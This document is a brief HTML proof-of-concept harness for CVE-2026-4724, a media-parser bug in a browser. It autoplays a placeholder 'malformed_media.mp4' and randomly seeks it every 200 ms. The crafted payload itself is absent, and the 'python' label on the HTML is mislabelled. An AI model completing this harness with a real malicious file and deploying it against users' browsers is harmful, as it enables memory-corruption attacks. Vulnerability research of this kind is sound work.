The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-4724
Description: This HTML PoC attempts to trigger the undefined behavior in the Audio/Video component.
Note: Replace 'malformed_media.mp4' with a specifically crafted file that exploits the parsing logic.
-->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-4724 PoC</title>
</head>
<body>
<h1>CVE-2026-4724 Audio/Video Undefined Behavior Test</h1>
<!-- Embed the malicious media file to trigger the parser -->
<video id="vulnVideo" controls autoplay>
<source src="malformed_media.mp4" type="video/mp4">
Browser does not support video tag.
</video>
<script>
const video = document.getElementById('vulnVideo');
// Attempt to play the video to trigger the parsing routines
video.play().catch(e => {
console.log("Autoplay blocked or error:", e);
});
// Aggressively seek to stress the media parser logic
setInterval(() => {
if (!video.paused) {
video.currentTime = Math.random() * video.duration;
}
}, 200);
</script>
</body>
</html>